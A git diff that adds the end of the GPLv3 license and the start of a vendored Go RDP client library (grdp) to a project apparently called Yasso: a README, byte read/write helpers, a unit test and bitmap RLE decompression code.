3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||
|
||||
No covered work shall be deemed part of an effective technological
|
||||
measure under any applicable law fulfilling obligations under article
|
||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||
similar laws prohibiting or restricting circumvention of such
|
||||
measures.
|
||||
|
||||
When you convey a covered work, you waive any legal power to forbid
|
||||
circumvention of technological measures to the extent such circumvention
|
||||
is effected by exercising rights under this License with respect to
|
||||
the covered work, and you disclaim any intention to limit operation or
|
||||
modification of the work as a means of enforcing, against the work's
|
||||
users, your or third parties' legal rights to forbid circumvention of
|
||||
technological measures.
|
||||
|
||||
4. Conveying Verbatim Copies.
|
||||
|
||||
You may convey verbatim copies of the Program's source code as you
|
||||
receive it, in any medium, provided that you conspicuously and
|
||||
appropriately publish on each copy an appropriate copyright notice;
|
||||
keep intact all notices stating that this License and any
|
||||
non-permissive terms added in accord with section 7 apply to the code;
|
||||
keep intact all notices of the absence of any warranty; and give all
|
||||
recipients a copy of this License along with the Program.
|
||||
|
||||
You may charge any price or no price for each copy that you convey,
|
||||
and you may offer support or warranty protection for a fee.
|
||||
|
||||
5. Conveying Modified Source Versions.
|
||||
|
||||
You may convey a work based on the Program, or the modifications to
|
||||
produce it from the Program, in the form of source code under the
|
||||
terms of section 4, provided that you also meet all of these conditions:
|
||||
|
||||
a) The work must carry prominent notices stating that you modified
|
||||
it, and giving a relevant date.
|
||||
|
||||
b) The work must carry prominent notices stating that it is
|
||||
released under this License and any conditions added under section
|
||||
7. This requirement modifies the requirement in section 4 to
|
||||
"keep intact all notices".
|
||||
|
||||
c) You must license the entire work, as a whole, under this
|
||||
License to anyone who comes into possession of a copy. This
|
||||
License will therefore apply, along with any applicable section 7
|
||||
additional terms, to the whole of the work, and all its parts,
|
||||
regardless of how they are packaged. This License gives no
|
||||
permission to license the work in any other way, but it does not
|
||||
invalidate such permission if you have separately received it.
|
||||
|
||||
d) If the work has interactive user interfaces, each must display
|
||||
Appropriate Legal Notices; however, if the Program has interactive
|
||||
interfaces that do not display Appropriate Legal Notices, your
|
||||
work need not make them do so.
|
||||
|
||||
A compilation of a covered work with other separate and independent
|
||||
works, which are not by their nature extensions of the covered work,
|
||||
and which are not combined with it such as to form a larger program,
|
||||
in or on a volume of a storage or distribution medium, is called an
|
||||
"aggregate" if the compilation and its resulting copyright are not
|
||||
used to limit the access or legal rights of the compilation's users
|
||||
beyond what the individual works permit. Inclusion of a covered work
|
||||
in an aggregate does not cause this License to apply to the other
|
||||
parts of the aggregate.
|
||||
|
||||
6. Conveying Non-Source Forms.
|
||||
|
||||
You may convey a covered work in object code form under the terms
|
||||
of sections 4 and 5, provided that you also convey the
|
||||
machine-readable Corresponding Source under the terms of this License,
|
||||
in one of these ways:
|
||||
|
||||
a) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by the
|
||||
Corresponding Source fixed on a durable physical medium
|
||||
customarily used for software interchange.
|
||||
|
||||
b) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by a
|
||||
written offer, valid for at least three years and valid for as
|
||||
long as you offer spare parts or customer support for that product
|
||||
model, to give anyone who possesses the object code either (1) a
|
||||
copy of the Corresponding Source for all the software in the
|
||||
product that is covered by this License, on a durable physical
|
||||
medium customarily used for software interchange, for a price no
|
||||
more than your reasonable cost of physically performing this
|
||||
conveying of source, or (2) access to copy the
|
||||
Corresponding Source from a network server at no charge.
|
||||
|
||||
c) Convey individual copies of the object code with a copy of the
|
||||
written offer to provide the Corresponding Source. This
|
||||
alternative is allowed only occasionally and noncommercially, and
|
||||
only if you received the object code with such an offer, in accord
|
||||
with subsection 6b.
|
||||
|
||||
d) Convey the object code by offering access from a designated
|
||||
place (gratis or for a charge), and offer equivalent access to the
|
||||
Corresponding Source in the same way through the same place at no
|
||||
further charge. You need not require recipients to copy the
|
||||
Corresponding Source along with the object code. If the place to
|
||||
copy the object code is a network server, the Corresponding Source
|
||||
may be on a different server (operated by you or a third party)
|
||||
that supports equivalent copying facilities, provided you maintain
|
||||
clear directions next to the object code saying where to find the
|
||||
Corresponding Source. Regardless of what server hosts the
|
||||
Corresponding Source, you remain obligated to ensure that it is
|
||||
available for as long as needed to satisfy these requirements.
|
||||
|
||||
e) Convey the object code using peer-to-peer transmission, provided
|
||||
you inform other peers where the object code and Corresponding
|
||||
Source of the work are being offered to the general public at no
|
||||
charge under subsection 6d.
|
||||
|
||||
A separable portion of the object code, whose source code is excluded
|
||||
from the Corresponding Source as a System Library, need not be
|
||||
included in conveying the object code work.
|
||||
|
||||
A "User Product" is either (1) a "consumer product", which means any
|
||||
tangible personal property which is normally used for personal, family,
|
||||
or household purposes, or (2) anything designed or sold for incorporation
|
||||
into a dwelling. In determining whether a product is a consumer product,
|
||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||
product received by a particular user, "normally used" refers to a
|
||||
typical or common use of that class of product, regardless of the status
|
||||
of the particular user or of the way in which the particular user
|
||||
actually uses, or expects or is expected to use, the product. A product
|
||||
is a consumer product regardless of whether the product has substantial
|
||||
commercial, industrial or non-consumer uses, unless such uses represent
|
||||
the only significant mode of use of the product.
|
||||
|
||||
"Installation Information" for a User Product means any methods,
|
||||
procedures, authorization keys, or other information required to install
|
||||
and execute modified versions of a covered work in that User Product from
|
||||
a modified version of its Corresponding Source. The information must
|
||||
suffice to ensure that the continued functioning of the modified object
|
||||
code is in no case prevented or interfered with solely because
|
||||
modification has been made.
|
||||
|
||||
If you convey an object code work under this section in, or with, or
|
||||
specifically for use in, a User Product, and the conveying occurs as
|
||||
part of a transaction in which the right of possession and use of the
|
||||
User Product is transferred to the recipient in perpetuity or for a
|
||||
fixed term (regardless of how the transaction is characterized), the
|
||||
Corresponding Source conveyed under this section must be accompanied
|
||||
by the Installation Information. But this requirement does not apply
|
||||
if neither you nor any third party retains the ability to install
|
||||
modified object code on the User Product (for example, the work has
|
||||
been installed in ROM).
|
||||
|
||||
The requirement to provide Installation Information does not include a
|
||||
requirement to continue to provide support service, warranty, or updates
|
||||
for a work that has been modified or installed by the recipient, or for
|
||||
the User Product in which it has been modified or installed. Access to a
|
||||
network may be denied when the modification itself materially and
|
||||
adversely affects the operation of the network or violates the rules and
|
||||
protocols for communication across the network.
|
||||
|
||||
Corresponding Source conveyed, and Installation Information provided,
|
||||
in accord with this section must be in a format that is publicly
|
||||
documented (and with an implementation available to the public in
|
||||
source code form), and must require no special password or key for
|
||||
unpacking, reading or copying.
|
||||
|
||||
7. Additional Terms.
|
||||
|
||||
"Additional permissions" are terms that supplement the terms of this
|
||||
License by making exceptions from one or more of its conditions.
|
||||
Additional permissions that are applicable to the entire Program shall
|
||||
be treated as though they were included in this License, to the extent
|
||||
that they are valid under applicable law. If additional permissions
|
||||
apply only to part of the Program, that part may be used separately
|
||||
under those permissions, but the entire Program remains governed by
|
||||
this License without regard to the additional permissions.
|
||||
|
||||
When you convey a copy of a covered work, you may at your option
|
||||
remove any additional permissions from that copy, or from any part of
|
||||
it. (Additional permissions may be written to require their own
|
||||
removal in certain cases when you modify the work.) You may place
|
||||
additional permissions on material, added by you to a covered work,
|
||||
for which you have or can give appropriate copyright permission.
|
||||
|
||||
Notwithstanding any other provision of this License, for material you
|
||||
add to a covered work, you may (if authorized by the copyright holders of
|
||||
that material) supplement the terms of this License with terms:
|
||||
|
||||
a) Disclaiming warranty or limiting liability differently from the
|
||||
terms of sections 15 and 16 of this License; or
|
||||
|
||||
b) Requiring preservation of specified reasonable legal notices or
|
||||
author attributions in that material or in the Appropriate Legal
|
||||
Notices displayed by works containing it; or
|
||||
|
||||
c) Prohibiting misrepresentation of the origin of that material, or
|
||||
requiring that modified versions of such material be marked in
|
||||
reasonable ways as different from the original version; or
|
||||
|
||||
d) Limiting the use for publicity purposes of names of licensors or
|
||||
authors of the material; or
|
||||
|
||||
e) Declining to grant rights under trademark law for use of some
|
||||
trade names, trademarks, or service marks; or
|
||||
|
||||
f) Requiring indemnification of licensors and authors of that
|
||||
material by anyone who conveys the material (or modified versions of
|
||||
it) with contractual assumptions of liability to the recipient, for
|
||||
any liability that these contractual assumptions directly impose on
|
||||
those licensors and authors.
|
||||
|
||||
All other non-permissive additional terms are considered "further
|
||||
restrictions" within the meaning of section 10. If the Program as you
|
||||
received it, or any part of it, contains a notice stating that it is
|
||||
governed by this License along with a term that is a further
|
||||
restriction, you may remove that term. If a license document contains
|
||||
a further restriction but permits relicensing or conveying under this
|
||||
License, you may add to a covered work material governed by the terms
|
||||
of that license document, provided that the further restriction does
|
||||
not survive such relicensing or conveying.
|
||||
|
||||
If you add terms to a covered work in accord with this section, you
|
||||
must place, in the relevant source files, a statement of the
|
||||
additional terms that apply to those files, or a notice indicating
|
||||
where to find the applicable terms.
|
||||
|
||||
Additional terms, permissive or non-permissive, may be stated in the
|
||||
form of a separately written license, or stated as exceptions;
|
||||
the above requirements apply either way.
|
||||
|
||||
8. Termination.
|
||||
|
||||
You may not propagate or modify a covered work except as expressly
|
||||
provided under this License. Any attempt otherwise to propagate or
|
||||
modify it is void, and will automatically terminate your rights under
|
||||
this License (including any patent licenses granted under the third
|
||||
paragraph of section 11).
|
||||
|
||||
However, if you cease all violation of this License, then your
|
||||
license from a particular copyright holder is reinstated (a)
|
||||
provisionally, unless and until the copyright holder explicitly and
|
||||
finally terminates your license, and (b) permanently, if the copyright
|
||||
holder fails to notify you of the violation by some reasonable means
|
||||
prior to 60 days after the cessation.
|
||||
|
||||
Moreover, your license from a particular copyright holder is
|
||||
reinstated permanently if the copyright holder notifies you of the
|
||||
violation by some reasonable means, this is the first time you have
|
||||
received notice of violation of this License (for any work) from that
|
||||
copyright holder, and you cure the violation prior to 30 days after
|
||||
your receipt of the notice.
|
||||
|
||||
Termination of your rights under this section does not terminate the
|
||||
licenses of parties who have received copies or rights from you under
|
||||
this License. If your rights have been terminated and not permanently
|
||||
reinstated, you do not qualify to receive new licenses for the same
|
||||
material under section 10.
|
||||
|
||||
9. Acceptance Not Required for Having Copies.
|
||||
|
||||
You are not required to accept this License in order to receive or
|
||||
run a copy of the Program. Ancillary propagation of a covered work
|
||||
occurring solely as a consequence of using peer-to-peer transmission
|
||||
to receive a copy likewise does not require acceptance. However,
|
||||
nothing other than this License grants you permission to propagate or
|
||||
modify any covered work. These actions infringe copyright if you do
|
||||
not accept this License. Therefore, by modifying or propagating a
|
||||
covered work, you indicate your acceptance of this License to do so.
|
||||
|
||||
10. Automatic Licensing of Downstream Recipients.
|
||||
|
||||
Each time you convey a covered work, the recipient automatically
|
||||
receives a license from the original licensors, to run, modify and
|
||||
propagate that work, subject to this License. You are not responsible
|
||||
for enforcing compliance by third parties with this License.
|
||||
|
||||
An "entity transaction" is a transaction transferring control of an
|
||||
organization, or substantially all assets of one, or subdividing an
|
||||
organization, or merging organizations. If propagation of a covered
|
||||
work results from an entity transaction, each party to that
|
||||
transaction who receives a copy of the work also receives whatever
|
||||
licenses to the work the party's predecessor in interest had or could
|
||||
give under the previous paragraph, plus a right to possession of the
|
||||
Corresponding Source of the work from the predecessor in interest, if
|
||||
the predecessor has it or can get it with reasonable efforts.
|
||||
|
||||
You may not impose any further restrictions on the exercise of the
|
||||
rights granted or affirmed under this License. For example, you may
|
||||
not impose a license fee, royalty, or other charge for exercise of
|
||||
rights granted under this License, and you may not initiate litigation
|
||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||
any patent claim is infringed by making, using, selling, offering for
|
||||
sale, or importing the Program or any portion of it.
|
||||
|
||||
11. Patents.
|
||||
|
||||
A "contributor" is a copyright holder who authorizes use under this
|
||||
License of the Program or a work on which the Program is based. The
|
||||
work thus licensed is called the contributor's "contributor version".
|
||||
|
||||
A contributor's "essential patent claims" are all patent claims
|
||||
owned or controlled by the contributor, whether already acquired or
|
||||
hereafter acquired, that would be infringed by some manner, permitted
|
||||
by this License, of making, using, or selling its contributor version,
|
||||
but do not include claims that would be infringed only as a
|
||||
consequence of further modification of the contributor version. For
|
||||
purposes of this definition, "control" includes the right to grant
|
||||
patent sublicenses in a manner consistent with the requirements of
|
||||
this License.
|
||||
|
||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||
patent license under the contributor's essential patent claims, to
|
||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||
propagate the contents of its contributor version.
|
||||
|
||||
In the following three paragraphs, a "patent license" is any express
|
||||
agreement or commitment, however denominated, not to enforce a patent
|
||||
(such as an express permission to practice a patent or covenant not to
|
||||
sue for patent infringement). To "grant" such a patent license to a
|
||||
party means to make such an agreement or commitment not to enforce a
|
||||
patent against the party.
|
||||
|
||||
If you convey a covered work, knowingly relying on a patent license,
|
||||
and the Corresponding Source of the work is not available for anyone
|
||||
to copy, free of charge and under the terms of this License, through a
|
||||
publicly available network server or other readily accessible means,
|
||||
then you must either (1) cause the Corresponding Source to be so
|
||||
available, or (2) arrange to deprive yourself of the benefit of the
|
||||
patent license for this particular work, or (3) arrange, in a manner
|
||||
consistent with the requirements of this License, to extend the patent
|
||||
license to downstream recipients. "Knowingly relying" means you have
|
||||
actual knowledge that, but for the patent license, your conveying the
|
||||
covered work in a country, or your recipient's use of the covered work
|
||||
in a country, would infringe one or more identifiable patents in that
|
||||
country that you have reason to believe are valid.
|
||||
|
||||
If, pursuant to or in connection with a single transaction or
|
||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||
covered work, and grant a patent license to some of the parties
|
||||
receiving the covered work authorizing them to use, propagate, modify
|
||||
or convey a specific copy of the covered work, then the patent license
|
||||
you grant is automatically extended to all recipients of the covered
|
||||
work and works based on it.
|
||||
|
||||
A patent license is "discriminatory" if it does not include within
|
||||
the scope of its coverage, prohibits the exercise of, or is
|
||||
conditioned on the non-exercise of one or more of the rights that are
|
||||
specifically granted under this License. You may not convey a covered
|
||||
work if you are a party to an arrangement with a third party that is
|
||||
in the business of distributing software, under which you make payment
|
||||
to the third party based on the extent of your activity of conveying
|
||||
the work, and under which the third party grants, to any of the
|
||||
parties who would receive the covered work from you, a discriminatory
|
||||
patent license (a) in connection with copies of the covered work
|
||||
conveyed by you (or copies made from those copies), or (b) primarily
|
||||
for and in connection with specific products or compilations that
|
||||
contain the covered work, unless you entered into that arrangement,
|
||||
or that patent license was granted, prior to 28 March 2007.
|
||||
|
||||
Nothing in this License shall be construed as excluding or limiting
|
||||
any implied license or other defenses to infringement that may
|
||||
otherwise be available to you under applicable patent law.
|
||||
|
||||
12. No Surrender of Others' Freedom.
|
||||
|
||||
If conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot convey a
|
||||
covered work so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you may
|
||||
not convey it at all. For example, if you agree to terms that obligate you
|
||||
to collect a royalty for further conveying from those to whom you convey
|
||||
the Program, the only way you could satisfy both those terms and this
|
||||
License would be to refrain entirely from conveying the Program.
|
||||
|
||||
13. Use with the GNU Affero General Public License.
|
||||
|
||||
Notwithstanding any other provision of this License, you have
|
||||
permission to link or combine any covered work with a work licensed
|
||||
under version 3 of the GNU Affero General Public License into a single
|
||||
combined work, and to convey the resulting work. The terms of this
|
||||
License will continue to apply to the part which is the covered work,
|
||||
but the special requirements of the GNU Affero General Public License,
|
||||
section 13, concerning interaction through a network will apply to the
|
||||
combination as such.
|
||||
|
||||
14. Revised Versions of this License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions of
|
||||
the GNU General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Program specifies that a certain numbered version of the GNU General
|
||||
Public License "or any later version" applies to it, you have the
|
||||
option of following the terms and conditions either of that numbered
|
||||
version or of any later version published by the Free Software
|
||||
Foundation. If the Program does not specify a version number of the
|
||||
GNU General Public License, you may choose any version ever published
|
||||
by the Free Software Foundation.
|
||||
|
||||
If the Program specifies that a proxy can decide which future
|
||||
versions of the GNU General Public License can be used, that proxy's
|
||||
public statement of acceptance of a version permanently authorizes you
|
||||
to choose that version for the Program.
|
||||
|
||||
Later license versions may give you additional or different
|
||||
permissions. However, no additional obligations are imposed on any
|
||||
author or copyright holder as a result of your choosing to follow a
|
||||
later version.
|
||||
|
||||
15. Disclaimer of Warranty.
|
||||
|
||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. Limitation of Liability.
|
||||
|
||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGES.
|
||||
|
||||
17. Interpretation of Sections 15 and 16.
|
||||
|
||||
If the disclaimer of warranty and limitation of liability provided
|
||||
above cannot be given local legal effect according to their terms,
|
||||
reviewing courts shall apply local law that most closely approximates
|
||||
an absolute waiver of all civil liability in connection with the
|
||||
Program, unless a warranty or assumption of liability accompanies a
|
||||
copy of the Program in return for a fee.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
state the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program does terminal interaction, make it output a short
|
||||
notice like this when it starts in an interactive mode:
|
||||
|
||||
<program> Copyright (C) <year> <name of author>
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, your program's commands
|
||||
might be different; for a GUI interface, you would use an "about box".
|
||||
|
||||
You should also get your employer (if you work as a programmer) or school,
|
||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||
For more information on this, and how to apply and follow the GNU GPL, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
The GNU General Public License does not permit incorporating your program
|
||||
into proprietary programs. If your program is a subroutine library, you
|
||||
may consider it more useful to permit linking proprietary applications with
|
||||
the library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License. But first, please read
|
||||
<http://www.gnu.org/philosophy/why-not-lgpl.html>.
|
||||
29
pkg/grdp/README.md
Normal file
29
pkg/grdp/README.md
Normal file
@@ -0,0 +1,29 @@
|
||||
# Golang Remote Desktop Protocol
|
||||
|
||||
grdp is a pure Golang implementation of the Microsoft RDP (Remote Desktop Protocol) protocol (**client side authorization only**).
|
||||
|
||||
Forked from icodeface/grdp
|
||||
|
||||
## Status
|
||||
|
||||
**The project is under development and not finished yet.**
|
||||
|
||||
* [x] Standard RDP Authentication
|
||||
* [x] SSL Authentication
|
||||
* [x] NTLMv2 Authentication
|
||||
* [ ] Client UI(ugly)
|
||||
* [ ] VNC client(unfinished)
|
||||
|
||||
## Example
|
||||
|
||||
1. build in example dir on linux or windows
|
||||
2. start example on port 8088
|
||||
3. http://localhost:8088
|
||||
|
||||
## Take ideas from
|
||||
|
||||
* [rdpy](https://github.com/citronneur/rdpy)
|
||||
* [node-rdpjs](https://github.com/citronneur/node-rdpjs)
|
||||
* [gordp](https://github.com/Madnikulin50/gordp)
|
||||
* [ncrack_rdp](https://github.com/nmap/ncrack/blob/master/modules/ncrack_rdp.cc)
|
||||
* [webRDP](https://github.com/Chorder/webRDP)
|
||||
131
pkg/grdp/core/io.go
Normal file
131
pkg/grdp/core/io.go
Normal file
@@ -0,0 +1,131 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"io"
|
||||
)
|
||||
|
||||
type ReadBytesComplete func(result []byte, err error)
|
||||
|
||||
func StartReadBytes(len int, r io.Reader, cb ReadBytesComplete) {
|
||||
b := make([]byte, len)
|
||||
go func() {
|
||||
_, err := io.ReadFull(r, b)
|
||||
//glog.Debug("StartReadBytes Get", n, "Bytes:", hex.EncodeToString(b))
|
||||
cb(b, err)
|
||||
}()
|
||||
}
|
||||
|
||||
func ReadBytes(len int, r io.Reader) ([]byte, error) {
|
||||
b := make([]byte, len)
|
||||
length, err := io.ReadFull(r, b)
|
||||
return b[:length], err
|
||||
}
|
||||
|
||||
func ReadByte(r io.Reader) (byte, error) {
|
||||
b, err := ReadBytes(1, r)
|
||||
return b[0], err
|
||||
}
|
||||
|
||||
func ReadUInt8(r io.Reader) (uint8, error) {
|
||||
b, err := ReadBytes(1, r)
|
||||
return uint8(b[0]), err
|
||||
}
|
||||
|
||||
func ReadUint16LE(r io.Reader) (uint16, error) {
|
||||
b := make([]byte, 2)
|
||||
_, err := io.ReadFull(r, b)
|
||||
if err != nil {
|
||||
return 0, nil
|
||||
}
|
||||
return binary.LittleEndian.Uint16(b), nil
|
||||
}
|
||||
|
||||
func ReadUint16BE(r io.Reader) (uint16, error) {
|
||||
b := make([]byte, 2)
|
||||
_, err := io.ReadFull(r, b)
|
||||
if err != nil {
|
||||
return 0, nil
|
||||
}
|
||||
return binary.BigEndian.Uint16(b), nil
|
||||
}
|
||||
|
||||
func ReadUInt32LE(r io.Reader) (uint32, error) {
|
||||
b := make([]byte, 4)
|
||||
_, err := io.ReadFull(r, b)
|
||||
if err != nil {
|
||||
return 0, nil
|
||||
}
|
||||
return binary.LittleEndian.Uint32(b), nil
|
||||
}
|
||||
|
||||
func ReadUInt32BE(r io.Reader) (uint32, error) {
|
||||
b := make([]byte, 4)
|
||||
_, err := io.ReadFull(r, b)
|
||||
if err != nil {
|
||||
return 0, nil
|
||||
}
|
||||
return binary.BigEndian.Uint32(b), nil
|
||||
}
|
||||
|
||||
func WriteByte(data byte, w io.Writer) (int, error) {
|
||||
b := make([]byte, 1)
|
||||
b[0] = byte(data)
|
||||
return w.Write(b)
|
||||
}
|
||||
|
||||
func WriteBytes(data []byte, w io.Writer) (int, error) {
|
||||
return w.Write(data)
|
||||
}
|
||||
|
||||
func WriteUInt8(data uint8, w io.Writer) (int, error) {
|
||||
b := make([]byte, 1)
|
||||
b[0] = byte(data)
|
||||
return w.Write(b)
|
||||
}
|
||||
|
||||
func WriteUInt16BE(data uint16, w io.Writer) (int, error) {
|
||||
b := make([]byte, 2)
|
||||
binary.BigEndian.PutUint16(b, data)
|
||||
return w.Write(b)
|
||||
}
|
||||
|
||||
func WriteUInt16LE(data uint16, w io.Writer) (int, error) {
|
||||
b := make([]byte, 2)
|
||||
binary.LittleEndian.PutUint16(b, data)
|
||||
return w.Write(b)
|
||||
}
|
||||
|
||||
func WriteUInt32LE(data uint32, w io.Writer) (int, error) {
|
||||
b := make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(b, data)
|
||||
return w.Write(b)
|
||||
}
|
||||
|
||||
func WriteUInt32BE(data uint32, w io.Writer) (int, error) {
|
||||
b := make([]byte, 4)
|
||||
binary.BigEndian.PutUint32(b, data)
|
||||
return w.Write(b)
|
||||
}
|
||||
|
||||
func PutUint16BE(data uint16) (uint8, uint8) {
|
||||
b := make([]byte, 2)
|
||||
binary.BigEndian.PutUint16(b, data)
|
||||
return uint8(b[0]), uint8(b[1])
|
||||
}
|
||||
|
||||
func Uint16BE(d0, d1 uint8) uint16 {
|
||||
b := make([]byte, 2)
|
||||
b[0] = d0
|
||||
b[1] = d1
|
||||
|
||||
return binary.BigEndian.Uint16(b)
|
||||
}
|
||||
|
||||
func RGB565ToRGB(data uint16) (r, g, b uint8) {
|
||||
r = uint8(uint32(data&0xF800)>>11) << 3
|
||||
g = uint8(uint32(data&0x07E0)>>5) << 2
|
||||
b = uint8(uint32(data&0x001F)) << 3
|
||||
|
||||
return
|
||||
}
|
||||
19
pkg/grdp/core/io_test.go
Normal file
19
pkg/grdp/core/io_test.go
Normal file
@@ -0,0 +1,19 @@
|
||||
package core_test
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/hex"
|
||||
"testing"
|
||||
|
||||
"Yasso/pkg/grdp/core"
|
||||
)
|
||||
|
||||
func TestWriteUInt16LE(t *testing.T) {
|
||||
buff := &bytes.Buffer{}
|
||||
core.WriteUInt32LE(66538, buff)
|
||||
result := hex.EncodeToString(buff.Bytes())
|
||||
expected := "ea030100"
|
||||
if result != expected {
|
||||
t.Error(result, "not equals to", expected)
|
||||
}
|
||||
}
|
||||
854
pkg/grdp/core/rle.go
Normal file
854
pkg/grdp/core/rle.go
Normal file
@@ -0,0 +1,854 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"Yasso/pkg/grdp/glog"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
func CVAL(p *[]uint8) int {
|
||||
a := int((*p)[0])
|
||||
*p = (*p)[1:]
|
||||
return a
|
||||
}
|
||||
|
||||
func CVAL2(p *[]uint8, v *uint16) {
|
||||
*v = *((*uint16)(unsafe.Pointer(&(*p)[0])))
|
||||
//*v = binary.BigEndian.Uint16((*p)[0:2])
|
||||
//fmt.Println("*v:", *v)
|
||||
*p = (*p)[2:]
|
||||
}
|
||||
|
||||
func REPEAT(f func(), count, x *int, width int) {
|
||||
for (*count & ^0x7) != 0 && ((*x + 8) < width) {
|
||||
for i := 0; i < 8; i++ {
|
||||
f()
|
||||
*count = *count - 1
|
||||
*x = *x + 1
|
||||
}
|
||||
}
|
||||
|
||||
for (*count > 0) && (*x < width) {
|
||||
f()
|
||||
*count = *count - 1
|
||||
*x = *x + 1
|
||||
}
|
||||
}
|
||||
|
||||
// /* 1 byte bitmap decompress */
|
||||
// func bitmap_decompress1(uint8 * output, int width, int height, uint8 * input, int size) bool{
|
||||
// uint8 *end = input + size;
|
||||
// uint8 *prevline = NULL, *line = NULL;
|
||||
// int opcode, count, offset, isfillormix, x = width;
|
||||
// int lastopcode = -1, insertmix = false, bicolour = false;
|
||||
// uint8 code;
|
||||
// uint8 colour1 = 0, colour2 = 0;
|
||||
// uint8 mixmask, mask = 0;
|
||||
// uint8 mix = 0xff;
|
||||
// int fom_mask = 0;
|
||||
|
||||
// for (input < end){
|
||||
// fom_mask = 0;
|
||||
// code = CVAL(input);
|
||||
// opcode = code >> 4;
|
||||
// /* Handle different opcode forms */
|
||||
// switch (opcode){
|
||||
// case 0xc:
|
||||
// case 0xd:
|
||||
// case 0xe:
|
||||
// opcode -= 6;
|
||||
// count = code & 0xf;
|
||||
// offset = 16;
|
||||
// break;
|
||||
// case 0xf:
|
||||
// opcode = code & 0xf;
|
||||
// if (opcode < 9){
|
||||
// count = CVAL(input);
|
||||
// count |= CVAL(input) << 8;
|
||||
// }else{
|
||||
// count = (opcode < 0xb) ? 8 : 1;
|
||||
// }
|
||||
// offset = 0;
|
||||
// break;
|
||||
// default:
|
||||
// opcode >>= 1;
|
||||
// count = code & 0x1f;
|
||||
// offset = 32;
|
||||
// break;
|
||||
// }
|
||||
// /* Handle strange cases for counts */
|
||||
// if (offset != 0){
|
||||
// isfillormix = ((opcode == 2) || (opcode == 7));
|
||||
// if (count == 0){
|
||||
// if (isfillormix)
|
||||
// count = CVAL(input) + 1;
|
||||
// else
|
||||
// count = CVAL(input) + offset;
|
||||
// }else if (isfillormix){
|
||||
// count <<= 3;
|
||||
// }
|
||||
// }
|
||||
// /* Read preliminary data */
|
||||
// switch (opcode){
|
||||
// case 0: /* Fill */
|
||||
